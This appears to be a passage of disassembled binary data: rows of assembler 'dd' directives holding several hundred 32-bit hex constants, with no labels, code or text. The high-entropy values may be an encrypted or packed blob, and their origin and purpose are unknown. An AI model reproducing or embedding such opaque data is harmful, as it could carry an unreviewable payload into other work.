		dd 54BD42F0h, 5E05059h,	0B43F1C73h, 3F71190Ah, 916FD3B3h
		dd 2A92E064h, 0CBCF334h, 467EDD25h, 13229425h, 49BBA6E9h
		dd 5450D67Fh, 6D6C1CD3h, 9ED9C0Ch, 7E535854h, 98B591A0h
		dd 2768E70Dh, 0F1187BA8h, 4F2E62B6h, 0B21AF725h, 0A910D50Dh
		dd 6B0696Eh, 940259B0h,	29AE1B96h, 0A54C65DFh, 64A72167h
		dd 0A7282005h, 29F02BF3h, 0F3445EAAh, 54521312h, 0DC418F2h
		dd 0C383B435h, 96515617h, 249C1509h, 8CE82975h,	0D00C9912h
		dd 5CC40547h, 4D28B162h, 0C9967542h, 284B0242h,	8215B583h
		dd 5AE913E9h, 53BE6B85h, 38C048Ah, 6C8A04DEh, 0E87C8805h
		dd 0DFB19291h, 2B24297Ah, 494198CDh, 8D7BC583h,	7BCA312Eh
		dd 72869FDCh, 0F6C31BDDh, 101208D0h, 93C08DE9h,	7764C5B8h
		dd 432D0563h, 0AC79A72Ah, 3A860596h, 85ACB6BCh,	9456F24Eh
		dd 0FCE42082h, 69C0BF1h, 600077F8h, 3F98502Bh, 761418C2h
		dd 7F9268EDh, 9F8426B8h, 2FD32E16h, 0FAA81E60h,	975A5480h
		dd 54DA1E41h, 64CB04B9h, 425C0B1Bh, 20C8586Ch, 0B79154h
		dd 2DD82990h, 356E1245h, 2FAB0173h, 0F5224678h,	103862D0h
		dd 5F32CA86h, 68014C62h, 0CD38225Bh, 0D86331C5h, 0E34D388Ah
		dd 0AE93846Ch, 5AD38801h, 0D8DAD152h, 60EF3857h, 81B40927h
		dd 1FD0EF3Eh, 5D84526Eh, 9380EDD1h, 7110C8Eh, 0EB8953DAh
		dd 28D83650h, 77F72740h, 97A4ED9h, 69165858h, 10E9454Ch
		dd 2904AF2Ah, 0AB535FFBh, 27E924DCh, 4BF3424Eh,	108EC52Dh
		dd 0C021C4C7h, 0D830AC00h, 14F9C68h, 9E9F14CCh,	0B7CC3F46h
		dd 88535105h, 0DCB7A4E3h, 90A1EBEEh, 32CD2E10h,	4B69CB2Eh
		dd 9A58A7A0h, 401AA0C8h, 7A31D3Ch, 0A17EBC01h, 1E805808h
		dd 1EC526CDh, 0A70B305h, 0D9E90C0Ch, 564EB91Fh,	6E25D190h
		dd 28CE8089h, 16C15C4Ch, 0BCA35182h, 5A280C96h,	0C2602655h
		dd 69C7C39Dh, 8A055B1Ch, 0E8344B53h, 0D09C4A92h, 0DE012737h
		dd 55641166h, 30EA12A8h, 255E2DC2h, 417BFA26h, 1C070514h
		dd 7FB0F2E9h, 7B6388C6h, 0C40CCFE6h, 583B16E2h,	834FC05Ah
		dd 5FBAE6C1h, 9D6D4FD4h, 521C0F64h, 894B762Ah, 4B05F1CDh
		dd 58A29700h, 311245A4h, 9C0759CDh, 2BD1208Ah, 372BA5E9h
		dd 0E20582BDh, 0CE0024F2h, 1DE43D58h, 0F308EEC1h, 4862C3CCh
		dd 0DD3DD91Eh, 61EFA24Fh, 0FA700356h, 9A81CCFFh, 0FEE22168h
		dd 45E3628Fh, 0ACB0C005h, 0F2ABE54h, 0A2E6D131h, 2C4051BCh
		dd 0B563968h, 16E4B4DBh, 0C1C31F12h, 55D0A509h,	0FE605582h
		dd 7020C07Ah, 6239F6B1h, 595B0A8Fh, 5F6AB2D7h, 0F70516BEh
		dd 1B7768F9h, 0F2562E3h, 4D953750h, 15E904E9h, 0E481A950h
		dd 568C10A9h, 6B18A148h, 10EE3993h, 33112054h, 9F71F23Fh
		dd 0E949FC59h, 2FF7FC4Fh, 259AAD30h, 78BDD82h, 0F8BE7C46h
		dd 27E1CD16h, 7B13D93Ah, 8D09FF89h, 0D573213Ah,	7D4822C4h
		dd 14742317h, 4F1FEBB0h, 0E0A4242Ah, 3EFF8B4Fh,	9B604121h
		dd 2AFC9D7Eh, 51B023h, 283B67E0h, 0FD7DE959h, 58072FD3h
		dd 0AFB98937h, 0CD88C4F2h, 0FD6021EAh, 0B06800F9h, 2C18970Ch
		dd 72252C6Ch, 80F37C45h, 23410CC3h, 0FB5A017Ah,	9879A861h
		dd 0F5662D6Fh, 58963CB6h, 9EC58EEh, 82F3287Ah, 792408E9h
		dd 4E662020h, 0FDB14B01h, 0EC68A7E0h, 610C7A05h, 9503BA5Eh
		dd 4D4A1A13h, 800C0ACAh, 670671C4h, 8BB7DFF6h, 78EDD67Ah
		dd 1969F8E9h, 0ED1105EBh, 28780D3h, 8EB6EBD6h, 22F592B1h
		dd 4C26600Bh, 0DA45BD3Dh, 0A00B7125h, 7EF84186h, 0F5E01FC7h
		dd 7EEC1F44h, 0A2904941h, 0BFDB835h, 0C28BF871h, 0BFD6CA2Bh
		dd 0F26145B8h, 0BFC098A5h, 0EA177E6Dh, 0C1434317h, 3B33C104h
		dd 30185EB4h, 23070C34h, 27B98326h, 1303AF00h, 90DE2906h
		dd 0E908803Bh, 44FE4C1Eh, 15B1F781h, 6CABB7Ch, 0EE3E334Fh
		dd 4547309Bh, 0CF0BF6E5h, 0A4AF7C3Eh, 7E2425F7h, 65F6322Fh
		dd 3D2AAC16h, 0AE701C84h, 5A05F36Dh, 0E9082FE3h, 800E3D8Bh
		dd 0C9FEA4C1h, 0B3E291ABh, 59601724h, 9D14EF4Ch, 0C9C20B08h
		dd 43730D82h, 2462BE00h, 0F72C0FAAh, 6FA546D6h,	681E4F9h
		dd 0D97C392h, 1ECDC47Bh, 0F7202471h, 6E021870h,	58946E54h
		dd 57A4F500h, 2D65C0BFh, 4D7DB018h, 0B51084A6h,	0ABE76F8Ch
		dd 0BF38C0B1h, 6721074Eh, 0C4F9091Fh, 2778A896h, 956E7866h
		dd 5F8C309h, 0D161E95h,	0BFDCE95Ch, 9EC52E39h, 0F74E65CAh
		dd 0A9465F52h, 2100516h, 74386AB9h, 675894Bh, 2D11665Ch
		dd 264985E9h, 119E42E7h, 4D62903h, 0A75B9352h, 84D5875Fh
		dd 97AD0A23h, 7242C101h, 0F62E010Ch, 160B5829h,	5A35A005h
		dd 46FBAE0Bh, 653ABF1Bh, 5ABCD04h, 0AF3D021h, 0B222D01h
		dd 0D848270Eh, 0C916EDF0h, 4B0509F9h, 73BA2C7Ch, 0BEE1EF17h
		dd 26417F9Dh, 23942296h, 0E501C73Ah, 2174D20Ah,	0CC162B7Eh
		dd 0B8F94DB5h, 0D281DC54h, 0CA2ACA69h, 0B5510F65h, 0BB22E670h
		dd 4FA297D1h, 748EB72h,	0A0BB8BAEh, 21ECD809h, 768068B1h
		dd 0CDA8C3Fh, 70D5020Bh, 4B397205h, 2B6B9857h, 55F1A13h
		dd 0CBE9BF45h, 0EE4C44AAh, 63A2D76Bh, 0EBC997C3h, 18822AC5h
		dd 0E920408Dh, 417BE348h, 2A294A82h, 0C7856B38h, 0CC111CEEh
		dd 0F41E06E1h, 3FB15E0Bh, 9B8B0142h, 0C832F13h,	0AB2509E2h
		dd 0F1B7D193h, 6EBE3DE9h, 1E550BDCh, 575327BDh,	90A31747h
		dd 3D45C695h, 17D0F1Dh
		dd 740426B0h, 0C0394EFAh, 0B6B9F5E5h, 76BB0A25h, 0BBA81500h
		dd 0B4B3D050h, 0ECB50016h, 0F604E5C0h, 0C5FEDD09h, 0F0030B80h
		dd 0B2521E8Ah, 0DFCADF95h, 0CBC2DFDAh, 0DC05ACEAh, 0A2C096A4h
		dd 2F98CFE6h, 70BD62FDh, 0E1D4381Eh, 59B774C9h,	4A60286Ah
		dd 653C1698h, 0A727015Eh, 80050B64h, 0DE25E640h, 4B8505Ah
		dd 5FE98A89h, 2821AE29h, 4102A6C0h, 123EB38Ah, 4E67B80Eh
		dd 4A818ACCh, 9EC92Ch, 4B50F9C5h, 7A29622Eh, 5A03194Eh
		dd 0CD722FA7h, 50F29197h, 5FEA6621h, 96062413h,	5E16451Fh
		dd 0D1B6956h, 0D027997Eh, 0B16E90CBh, 0E5EB49CDh, 57C62FE9h
		dd 0B4F56782h, 3032C7C1h, 22F021B8h, 1CF90134h,	71C081Ah
		dd 78C55F14h, 9BD12F0h,	2D31592Ch, 0B3E60D05h, 0B517105Ah
		dd 0CD685B05h, 0B0E3CC4Dh, 0A7C79ACAh, 6854518Bh, 971C2CC6h
		dd 24C15C99h, 4305BF14h, 4754BC6Dh, 0B07BC6A1h,	7A126C4Ah
		dd 2D04CE9h, 3B161CE5h,	0ED021458h, 8BE4A73Bh, 0A8B8B7Dh
		dd 0DEA55E1Bh, 0AF70E4F7h, 773C314Fh, 0E984C5A6h, 689090FBh
		dd 0AC3D7A42h, 626D251Fh, 0ECCAC0ACh, 0CD5D8AB0h, 0E9F9B0D8h
		dd 8FB91A68h, 0C37ADDA0h, 1829E22Dh, 2E48F31Bh,	2080DEDh
		dd 1BA1A03h, 8434500h, 0D029763Ah, 1C68081Ch, 52A42214h
		dd 6618635Dh, 8948CC8Fh, 0DCFE0180h, 0D5642B0h,	1A7F5F6Bh
		dd 0F98781F2h, 43FAA639h, 82A41F4h, 135BE32Fh, 8E492BE9h
		dd 2E1465ACh, 9A186CF8h, 7D210201h, 0AFE9D129h,	0B25A746Ch
		dd 515BC5F4h, 977BECB8h, 3B4A49D9h, 0EE570918h,	20D80B1Ah
		dd 0FA8201B2h, 7244B3B4h, 5268BA05h, 689D313Eh,	5D27DC42h
		dd 81256E6Eh, 0B8BD9EFh, 0DB769151h, 0E6CF126Ah, 4F67AE7Fh
		dd 0ED8BE5EDh, 273178CEh, 0FC5D8958h, 0AAEC8CFFh, 200BC72Fh
		dd 802BA310h, 6D055DC8h, 0CD294130h, 0E32781EEh, 38CF689Ch
		dd 1739F3D8h, 0B14E6551h, 27F2F05Dh, 10623B9Eh,	6F687437h
		dd 1B779249h, 74DBCA54h, 0AF7625EFh, 7DE668C1h,	0BAF346Ah
		dd 7C4279E8h, 0CC873E61h, 47B09BE3h, 8020D430h,	5C66D0F6h
		dd 0B5137953h, 2D590C90h, 1A9FE547h, 8FAF40F4h,	6F8203Ch
		dd 0F240600Bh, 62DD891Ch, 0C93AC08Bh, 0B322616h, 120716A9h
		dd 0C0C61C62h, 3CD5671Bh, 10C14149h, 0AF5EDEC6h, 80D4C330h
		dd 8072C7FEh, 0EF14BB73h, 17A330F6h, 5434D7E4h,	0E97B0EF8h
		dd 5E6D847Fh, 0E863934Fh, 84F65EBCh, 98DA5E25h,	791FF825h
		dd 810165ADh, 4D15A6Ch,	87008CBEh, 43AF5C81h, 0D3CF4FA2h
		dd 12DCDB09h, 0A513BFEAh, 0DE6819C0h, 5199C409h, 8E101399h
		dd 0EF881BB5h, 0C2FDA3ECh, 9C96C15Bh, 9671F5CDh, 0A4389931h
		dd 0D0C330C5h, 0E1E6E919h, 0C41098BFh, 4AB32815h, 402502CDh
		dd 77E9195Ch, 54B0458h,	0E9B1A1FCh, 4A5628D1h, 0E8A4D4F9h
		dd 9F8A4F86h, 5DB9704Fh, 0C4DFF55h, 0F0ED054Eh,	0A4819362h
		dd 2366CD15h, 29C7B410h, 54A5CC56h, 5C4FD36Ch, 95EE30CCh
		dd 0CAE99CE8h, 0F080ACABh, 0B62E525Ah, 910EB53Ch, 0C1076EC0h
		dd 11E945F6h, 0E28283BDh, 49E56808h, 9E9080A2h,	0FCD1F702h
		dd 0D251472Ch, 0A9D74312h, 4FDD40C5h, 8E882D91h, 0BE0E0678h
		dd 240F32FDh, 58E2CE31h, 5CD882C6h, 78610997h, 9CEA2720h
		dd 0C600E792h, 6D4E7149h, 484A37FCh, 94AE7DCCh,	0C6002598h
		dd 22424DA6h, 0E0D35B0Fh, 5444C968h, 20E46397h,	0DC517912h
		dd 2AED869Dh, 5371523Eh, 95FA05C6h, 222522Bh, 0A00CACE9h
		dd 42A85F40h, 74BF6BCh,	0FBC9ABF1h, 9E3A4E4h, 0DA18B3E3h
		dd 0FDF560F7h, 7AA165A3h, 0B65B1FCFh, 415E763Ah, 44AE8BD4h
		dd 0F908CAB5h, 33C81EFBh, 84D7719Eh, 1CB92040h,	0B537DE1Bh
		dd 0E181FBA0h, 0F835362Eh, 70021158h, 619FDBD6h, 1E33C49Dh
		dd 68EF424Eh, 0A4B039FCh, 79956F53h, 2A5C4B8Eh,	290911EAh
		dd 0BDAEF3F9h, 0BA3A5C92h, 4F462861h, 0D0F4E407h, 0CFED05E7h
		dd 0EDC4E62Ch, 0F176A702h, 6079F94Dh, 7854282h,	0B0A0789Dh
		dd 82AC9027h, 4E89D70Bh, 832B350Bh, 80C93FF6h, 9B48AC80h
		dd 2C2D0470h, 0BB0A3F6Fh, 70BAEC4h, 53ED205Dh, 2C06C868h
		dd 86B2E40h, 211EC003h,	0BC4BBAE8h, 0A89318FCh,	60592CA6h
		dd 0ED74AE01h, 0E8040156h, 7C4BD32Eh, 77FB6269h, 4956B532h
		dd 0C90555Ah, 0AD4A39E9h, 997EE389h, 22F6F9A7h,	95A1926Fh
		dd 682FC93Ah, 6F31258h,	8665FAh, 0F03B7B71h, 0CA07812Ch
		dd 4B7D7282h, 0E8F7EA63h, 0E016FFDh, 0E7685AD7h, 0B4FC73BBh
		dd 0D295EA90h, 3C5D584Eh, 3E290825h, 8488CFA2h,	3E73680Ch
		dd 277B6938h, 687943C3h, 72502C3Ch, 0E46656A7h,	0AE98EA5Bh
		dd 83D9B9BFh, 0C978DFC3h, 0EBE3A0E5h, 8BE908A0h, 5C13E2BEh
		dd 0E75BBFB2h, 0D84D6D6h, 66ED2DAFh, 0CDEB00EBh, 0E9289E79h
		dd 27DA5BC7h, 0B4E58490h, 0F907C9CEh, 50206511h, 570118C2h
		dd 0A628CF66h, 981777BBh, 0A7040A62h, 550EBE35h, 95C1D4CDh
		dd 6792422h, 45254358h,	37B60A0Ch, 207F12EAh, 140CD008h
		dd 0A04CE912h, 500C5A57h, 0D880CCB4h, 864A5D68h, 102EE97h
		dd 0EAA0E9CDh, 76235713h, 419052A6h, 7C908950h,	0CE46F527h
		dd 9583B0D6h, 1A68D248h, 81D83249h, 1F8A1296h, 328BE015h
		dd 1BF9A40h, 3CDA6A99h,	2458B168h, 0E2BD3F2Fh, 0C98DD445h
		dd 1CBD2710h, 633AD997h, 540AE5A1h, 0E754535Bh,	0E1DFE4EFh
		dd 533E928Ah, 8BF81026h, 0DFE6C601h, 808E9695h,	83277AE6h
		dd 0F48BEAECh, 3B685703h, 0E8ACCC59h, 0C7D3DC8Ch, 0FF3AE7C3h
		dd 4500F39Fh, 42366F33h, 176725E9h, 65BA126Bh, 1B889C8h
		dd 804266B7h, 4C8C05C8h, 0FF18DF90h, 95EDD3CFh,	246A710Bh
		dd 0A01AF151h, 4EC40981h, 13124DC6h, 6E9F080Dh,	4DE91D3Ch
		dd 201D1580h, 52C0D2E8h, 24CEE86Dh, 5D97D702h, 0B20ECBA9h
		dd 909AA7Dh, 0F60B375Eh, 7F70B0D1h, 414CBF9Eh, 46145C27h
		dd 570B20ACh, 0F96CE916h, 204CB9A3h, 0A9108E34h, 910CE658h
		dd 3247250Fh, 0E03FD5A9h, 0AED8065h, 707D7E2Ch,	8CE85E78h
		dd 1F2AE992h, 180BC5F7h, 24B254Dh, 0FEB2D5FBh, 7763A52Fh
		dd 6C2F6EC8h, 7E0AC5ECh, 0CC04984Ch, 0A7A67627h, 4D2AD170h
		dd 0E19F83ACh, 69DE8A6h, 54C389CEh, 0D4F733F0h,	0BB2E6852h
		dd 0B460F70Ch, 0EE288D1h, 60B35358h, 41F9BC12h,	6E52AFE0h
		dd 40115D29h, 81C82D75h, 97C0E619h, 0E31A4B11h,	61138004h
		dd 4CDFFDEBh, 0A25ABA01h, 0A68C21Dh, 0E949A344h, 304B139Bh
		dd 1834E2E8h, 681685BEh, 8C034ACAh, 0FFD6758Eh,	64BE4A01h
		dd 69203543h, 0EC30260Ah, 0FC560956h, 4317CDF3h, 0E9091FA3h
		dd 7B5CE53Ah, 0CCAE5267h, 0CCB59F1h, 34E6121Bh,	491883D4h
		dd 210C7411h, 4FF37692h, 16782C53h, 0F7E30295h,	87D8C0D2h
		dd 70F85C1Dh, 438EA79h,	0E7C16B04h, 0F1328707h,	831A0D03h
		dd 1B7D7B0Ch, 0B3EFE013h, 3FCB2C8Ah, 12E6028Ah,	70D644A9h
		dd 5AD3543Ch, 10CA3501h, 0D0F7764Ch, 4809F21h, 0D41ED2Dh
		dd 0AB390560h, 0E9DD894Eh, 95E558AAh, 83043394h, 0B5E902C5h
		dd 412CA5A8h, 89031E39h, 48002AF2h, 207D6D37h, 0E918059Ah
		dd 582AC86Ah, 5FFA3931h, 37ACD0BDh, 81C09760h, 4418F2Dh
		dd 0F8BB8C82h, 68AD0989h, 0E9B23302h, 294A82F2h, 0C71003F2h
		dd 55A65F42h, 9CC8840Bh, 6B80C786h, 7003EA2Dh, 2BD6201Ch
		dd 11F5810Eh, 45070677h, 1771090Eh, 9D765AAEh, 9F0F1828h
		dd 0B44AA24h, 59E206Bh
		dd 4FB245B0h, 725F138h,	74AFC007h, 5B5F3AFDh, 24970BE2h
		dd 21C2BEB4h, 27F57690h, 8909E95Bh, 5A65DED0h, 25A96F5h
		dd 73385BD3h, 0FA40E2C1h, 462F01CAh, 10370C6Fh,	7C681643h
		dd 37930027h, 0F72CE013h, 0DF0BD8BEh, 0E99E021Eh, 5935691Ch
		dd 66664B6Eh, 117ED909h, 35F7DD16h, 0C453572Dh,	6602B1ACh
		dd 7E3E1026h, 0D99D8209h, 0E1EAC1EFh, 33734C75h, 8173865Ch
		dd 2E0A07B8h, 2DF1724Dh, 204652A4h, 39F46D70h, 49F39A5Bh
		dd 841A939Fh, 5C80C127h, 0BF302B60h, 48290C63h,	500D07Ah
		dd 0C11B5E13h, 48B006E3h, 0AA17C4E0h, 56A053BCh, 911E01A2h
		dd 3E95F37h, 3C563290h,	1E725D3h, 2BD6874h, 596E53Dh, 0EA99D59Bh
		dd 10EA9D25h, 6601B37Ch, 0E909403Dh, 4BA02C2Dh,	0D900EE69h
		dd 58D12D2Ch, 37046D44h, 0C2052050h, 6E6A18FCh,	577D4CCEh
		dd 16C5E049h, 0E5F1EF83h, 0E8677A68h, 0F238307h, 0D1591009h
		dd 0C0055EEBh, 2747A1C3h, 51E90A0Bh, 8928F1D8h,	22D605AAh
		dd 4045ADBFh, 9F6F291Ah, 6DB5307Ah, 4E8AA03Ch, 68AF3022h
		dd 32022ABEh, 0E5C15D3Eh, 0F1B84003h, 4F917355h, 8465BC89h
		dd 0CDFBE821h, 508A2864h, 390B7532h, 8BE97138h,	9046CB46h
		dd 9533592Dh, 13EED085h, 2FD68D08h, 0E2268064h,	0E9EE17D0h
		dd 5B3245FCh, 8E548251h, 9BA05E04h, 7CE12F68h, 0F9252BC5h
		dd 0AE9E19Fh, 0E0372B2Ah, 218C493h, 56D2D12h, 0F760113Dh
		dd 2E266CFCh, 5F00E209h, 0E9736286h, 216EB619h,	44BFE530h
		dd 0C45FF7C7h, 0C0CA02D0h, 76616391h, 1CB22047h, 3E85FA41h
		dd 13FD6856h, 4F9B862h,	6DF97431h, 4EB4D61Ch, 0BD43557Fh
		dd 29B11F9Ch, 0F5DE4EBh, 38C0B73Fh, 9036A568h, 977DD8B0h
		dd 0E97A12BAh, 9A653B2Dh, 94E94B9Dh, 24CF2CFBh,	0C361870Eh
		dd 0E932C166h, 0F33A954Eh, 2ABF80A1h, 0F022D51Ah, 9EBAC9FDh
		dd 17B3B4E0h, 0AFDE283Ch, 0BB381382h, 11CD0B1h,	315D25EAh
		dd 0A1688F68h, 0C525EFB3h, 0AE65A946h, 0A7124207h, 35EA0500h
		dd 0A8764E9Ah, 0D40741A0h, 112E1B90h, 0FE444A63h, 1FB7C791h
		dd 0B688B4DCh, 2465A50h, 4BD6AE8Ah, 6804C444h, 1986C8AEh
		dd 10B4065Eh, 0AB85527Bh, 0C4D8BC96h, 4EABF3E9h, 88E9C657h
		dd 0E1222D12h, 5205929Dh, 7FE5EF05h, 46A89909h,	0C6E5A098h
		dd 0FD588098h, 7D506804h, 0C3BA32E8h, 7ACF0895h, 57A6BBA7h
		dd 0BB5A9394h, 0A7C46664h, 56D6A5F5h, 0CFD826F7h, 905E165h
		dd 0A0211A6Ch, 682FDE68h, 0FA8A500h, 0CF90FCD3h, 46F2815Bh
		dd 0CE656335h, 0E9D10707h, 974A7FF9h, 71116809h, 0D6B1A5Ch
		dd 0A43B4D5Eh, 14B48D22h, 0C4CCDB23h, 14A74E68h, 0E9B08959h
		dd 868033F0h, 96F2EED5h, 11102FA1h, 0F1835FC9h,	9C28F672h
		dd 1421AA93h, 18807C20h, 7008F8BDh, 7B953177h, 0C18100F0h
		dd 2E570C0Dh, 5B05C6B8h, 11FA775h, 6B432DEEh, 8EB3203h
		dd 0A7E9F028h, 0BA9B9D8Eh, 584BDCCAh, 0EB80F380h, 0FB5A3826h
		dd 0F76851C0h, 84A59142h, 0B1A3E950h, 0E4286C71h, 0D6854DEDh
		dd 8209255Ah, 0CC5F30CEh, 0AC2D5C44h, 0FB3EC99Fh, 2AE8FC90h
		dd 0FA0FA726h, 92C1D625h, 907B35Fh, 7708E8C1h, 0ED741109h
		dd 58870D6Ch, 9726AEF5h, 7151A538h, 25CEC54Fh, 935017A2h
		dd 212FE5ACh, 2B8A05Dh,	96F6D15Dh, 94FE0357h, 26752F45h
		dd 9A25A1B4h, 5BEF5DF3h, 8C6CE904h, 75545507h, 5830D05Ah
		dd 6D4D7568h, 9DC684AEh, 97A2BDF8h, 0D2BEC3AEh,	3BD4A57Bh
		dd 0BAEC27A5h, 0C317CFA7h, 3CB249E1h, 0F1F22A5Eh, 2F59E9A0h
		dd 2CD1C595h, 0D214893Fh, 7AC00C6Ah, 47F79635h,	0D04AE4C1h
		dd 11CC6837h, 0F364D096h, 9CF8FE95h, 4D1D678h, 0A90EF16Fh
		dd 19812C92h, 39314DA4h, 4043D1Ch, 1D9C93E3h, 0DC023DA6h
		dd 0E9038750h, 2CCC12Ch, 74D65CF7h, 6C9E152Fh, 715D0B00h
		dd 0CE35484Fh, 5942630h, 0B9951358h, 8F6865Ch, 0F6D748B1h
		dd 8B5F929Ah, 7AEAFEDBh, 9D94E477h, 0BAAED145h,	0C3802E00h
		dd 0DDE328DFh, 62E945F4h, 0FFE52ECh, 5E906163h,	138689E0h
		dd 0E8F522FBh, 5E2925A8h, 3D60823Ch, 0C3583C6Ah, 0F418CDF3h
		dd 0E3B56CD9h, 0C3AD9881h, 31EB2D2Dh, 7DB0D1FAh, 9050DD40h
		dd 26583D60h, 165C5DACh, 0E48B8D0Eh, 0D9A82ACh,	561AC358h
		dd 522E5141h, 0A4D9019Bh, 6A67F69Fh, 91E2C3h, 841E99D5h
		dd 0E5810148h, 5F235D5h, 0F5C0D7F7h, 0DA98EB6Ah, 8AEE012Ch
		dd 39F11F45h, 9584CD3Dh, 4BEECADEh, 134CC6B3h, 66599A05h
		dd 0ABA30B75h, 0B10035D0h, 80C9FEB8h, 6A30D2C1h, 8B47DCCFh
		dd 7AF8E2D1h, 91D8FAF5h, 284E2D05h, 8FCAE21h, 0B7F48F40h
		dd 5ADEEA89h, 0EF08C7C4h, 0E509674Ah, 58479D9h,	8B03F068h
		dd 0AE604A6Fh, 9567BD68h, 5FB9ADC6h, 2EC16F2Ah,	770D46A1h
		dd 7FF80C80h, 0B6E913BCh, 0A7FBC597h, 0E90430C5h, 74D920F8h
		dd 1030E23Fh, 0BE0678E5h, 0D622116Ch, 76C4E60Fh, 0C2C12EAEh
		dd 61464E07h, 0A7263059h, 0EA028B05h, 79498115h, 37B03F1Ch
		dd 35E002D1h, 0F176277h, 59EE067Dh, 37BC00D6h, 9C6854E3h
		dd 0F2FDABCDh, 67891DE3h, 389F6B80h, 8EDBBA69h,	4F963225h
		dd 8176A7B8h, 84316642h, 0B940677Eh, 212A58E8h,	0F4C98102h
		dd 542E221Dh, 13C1016Bh, 4464E87Eh, 6F7EF181h, 0A210C1DAh
		dd 0D10507DDh, 444F545Ch, 30D990A9h, 0C2F6C73Fh, 58021042h
		dd 0DF594153h, 0DE4726ADh, 0B5894726h, 98BF979h, 0FDFCAD68h
		dd 3E64BC3h, 0CE57EDA1h, 8EDA2219h, 0B2745DCh, 0EDF80FEEh
		dd 0C040BD2Ch, 2FE3BFC8h, 69F9D909h, 0BA21E9E1h, 52EE44A6h
		dd 9A2D5854h, 1DD68469h, 0C9E88994h, 49139B04h,	920BBD25h
		dd 6A12C582h, 1383FEB4h, 358A0C1Bh, 0D0C81A06h,	20132AB0h
		dd 0B905DC7Ch, 36F92D47h, 7F593C82h, 0C8D6C789h, 68B0B773h
		dd 995D955Ah, 0B9C2023Bh, 0C455D7E0h, 411EA56Ah, 28389268h
		dd 52538023h, 0B59FF9E9h, 14C4B3C6h, 9AB3798Fh,	155F5789h
		dd 8413A3CAh, 0BBF7FFE9h, 7AA28B56h, 0B087CD13h, 25BA9FCBh
		dd 5CE0E899h, 12C8BF0Fh, 61602668h, 76E827h, 263014B8h
		dd 2DE03B19h, 4B657909h, 78E8518Ah, 6EB94230h, 115F3F18h
		dd 0B2397016h, 344C2CD5h, 0C158E14Fh, 4A6006E7h, 0A49F1245h
		dd 0DB9A00D0h, 14C0234h, 8AE5FA4Dh, 0DE270DB8h,	0C444167Dh
		dd 8064C430h, 9BC0C69Dh, 0C29D3273h, 36985D01h,	20946AE9h
		dd 14AFC780h, 95293043h, 80B3E42h, 896FDCD9h, 0F213D5BBh
		dd 1ED530F7h, 0E3EC0F4Ch, 933BDD02h, 5018E902h,	0C0350299h
		dd 251E2213h, 4016A4C0h, 6809CDF4h, 0F2313CD8h,	64E92FCEh
		dd 0F767A429h, 4D97E895h, 0A45E3C2Ah, 5A9AD9FBh, 52C9200Ch
		dd 0B13F7968h, 11116A28h, 84825BA9h, 2D0CC80Fh,	37DA1F01h
		dd 0B6C5177Dh, 0E9D50F21h, 0BCA3B738h, 0CC4AEA3Eh, 0A241119Eh
		dd 2B4E9D6Bh, 4FA3D64h,	2ABB0E8h, 8EEFC147h, 0ECD066A2h
		dd 29FD5EB1h, 84043C8Fh, 53E884E9h, 1D814F12h, 40AB1617h
		dd 47E11B94h, 68D2013Fh, 6DC19BFh, 0E141F605h, 1E45A744h
		dd 5A4EB7A7h, 2DA8CD54h, 42094D00h, 56D80127h, 0DF08AABEh
		dd 409D8401h, 15D5E214h, 57E984E3h, 93A8A814h, 7EB52DC4h
		dd 30582BFAh, 59B5217Eh, 0F5074D0Bh, 51C72EE9h,	4F237243h
		dd 1163A837h, 726B637Bh, 51B64700h, 0D046B0Ah, 83B5C91h
		dd 11A612C0h, 0FCFE4EFCh, 0C7891752h, 0D451F48Ah, 0B9ABDB01h
		dd 44052E32h
		dd 813C5310h, 0A5EC7B1Fh, 8188F478h, 967ACEC1h,	4E1D42Bh
		dd 0DD8AF0F3h, 193F71Bh, 0BF33C1D6h, 20F81265h,	91D1FC6h
		dd 83CC0BD7h, 2E5E5B29h, 0BA525F00h, 31D66CB7h,	4B242903h
		dd 107922E7h, 680BDBB1h, 70305198h, 7E82748Fh, 0AF8D883Ch
		dd 14BCBF01h, 0A7206932h, 785B81FDh, 2CC41338h,	0C8C479A8h
		dd 0BB63D4C5h, 37CA0445h, 666C8EAEh, 1C4F9D62h,	359EE80h
		dd 0CFB151FEh, 0EE29C9C1h, 8F5D848Fh, 0C149D9F6h, 59CED281h
		dd 2DF0C15Bh, 0BEB85A66h, 7E08E9E1h, 35EA7512h,	0ABBF5294h
		dd 2FE9CF78h, 193289F1h, 0AA6C44A2h, 3E8A45D7h,	28E710h
		dd 2D6CC4B8h, 0BD8F708h, 4806E0C1h, 12F52304h, 40EA29AFh
		dd 0B51E520Eh, 0CD0F7E7Ch, 0AD636F8h, 8400964Dh, 0E90A1071h
		dd 59E64016h, 5BFE2813h, 4E83008h, 0AECDF181h, 0E6E88AC5h
		dd 1D16C011h, 0C8B6DC3h, 65FCD432h, 4035CE52h, 29245C7Fh
		dd 0BF03DAC3h, 1C65EC15h, 1369C948h, 28C6BC4Eh,	0D5B608EBh
		dd 0A5D1C03h, 0CCC0EF2Fh, 90134005h, 20BF0C63h,	7E72307Ch
		dd 0FB116739h, 0BA1554Dh, 855AD309h, 0A052A2D0h, 0C2D467FBh
		dd 0AC017E1Dh, 7202D04h, 0FF79B5F8h, 56118831h,	0FFD831DCh
		dd 283EA5C1h, 0BD406717h, 0B6BB0353h, 4B2BD50Eh, 7A183C09h
		dd 86C026Ch, 535F03B8h,	83B7FA3Dh, 0CE8105ECh, 46DF8976h
		dd 193EEED8h, 0C3F6B60h, 780BD518h, 6EA50446h, 64C073F7h
		dd 76AA3953h, 2D5EF235h, 61709502h, 0CEFA782Fh,	0EB8325A0h
		dd 0DE74C232h, 0B4B3DA96h, 2E0AE909h, 5D7A1BFAh, 17FF50Bh
		dd 110E05DEh, 4A245CEDh, 3DAEBD95h, 17351CFAh, 59FC4CCBh
		dd 0BF40B686h, 620698ADh, 487F779h, 7A9798D7h, 20762499h
		dd 843E0465h, 41B6EC52h, 2CD06007h, 16EE77C0h, 0EC5AF728h
		dd 5C9379EFh, 0F91986C7h, 70828A5Bh, 483756Fh, 0D0015D46h
		dd 424AEE05h, 0D2093F5Ah, 491E610Ch, 0FDB20DF2h, 38B100CAh
		dd 13059F88h, 88A2C7h, 2DC02645h, 0FC55DAF7h, 7F3441EEh
		dd 4622B989h, 0F820F912h, 0A00197A9h, 75A927D7h, 90EFE03Eh
		dd 0FB307E41h, 62269183h, 3DD9BADCh, 43FB2D92h,	0ED36856h
		dd 0EFFB2735h, 0A84E8AACh, 0E5E330Dh, 3B30C1CAh, 8EB502Fh
		dd 51350C61h, 265FCDADh, 21F24A08h, 4C71BF10h, 0E68C102Dh
